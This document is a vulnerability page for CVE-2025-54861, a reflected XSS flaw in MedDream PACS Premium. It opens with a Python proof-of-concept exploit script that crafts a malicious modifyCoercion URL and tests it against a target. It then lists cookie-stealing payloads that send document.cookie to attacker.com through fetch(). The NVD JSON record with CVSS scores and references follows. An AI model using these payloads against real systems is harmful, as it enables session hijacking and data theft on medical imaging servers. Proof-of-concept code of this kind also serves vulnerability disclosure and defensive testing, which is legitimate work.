CVE-2025-54861

import requests import urllib.parse # CVE-2025-54861 PoC - Reflected XSS in MedDream PACS Premium modifyCoercion # Target URL construction base_url = "https://target-server/meddream/" # Malicious payload for reflected XSS xss_payload = "<script>alert(document.domain)</script>" encoded_payload = urllib.parse.quote(xss_payload) # Construct the malicious URL targeting modifyCoercion functionality malicious_url = f"{base_url}modifyCoercion?param={encoded_payload}" print(f"[*] CVE-2025-54861 PoC") print(f"[*] Target: {base_url}") print(f"[*] Malicious URL: {malicious_url}") print(f"[*] Payload: {xss_payload}") # Send request to verify vulnerability try: response = requests.get(malicious_url, timeout=10, verify=False) if encoded_payload in response.text or xss_payload in response.text: print("[+] VULNERABLE - Payload reflected in response") else: print("[-] Possibly not vulnerable or payload filtered") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") # More advanced payload examples: payloads = [ "<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>", "<svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))>", "<script>fetch('https://attacker.com',{method:'POST',body:document.cookie})</script>" ]

{"cve": {"id": "CVE-2025-54861", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:17:02.837", "lastModified": "2026-01-29T15:21:48.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (xss) vulnerability exists in the modifyCoercion functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious URL can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability."}, {"lang": "es", "value": "Existe una vulnerabilidad de cross-site scripting (XSS) reflejado en la funcionalidad modifyCoercion de MedDream PACS Premium 7.3.6.870. Una URL maliciosa especialmente diseñada puede conducir a la ejecución arbitraria de código javascript. Un atacante puede proporcionar una URL diseñada para activar esta vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:*", "matchCriteriaId": "0F239E49-18E8-4DE0-B9B8-C220C3BC0C62"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2262", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2262", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}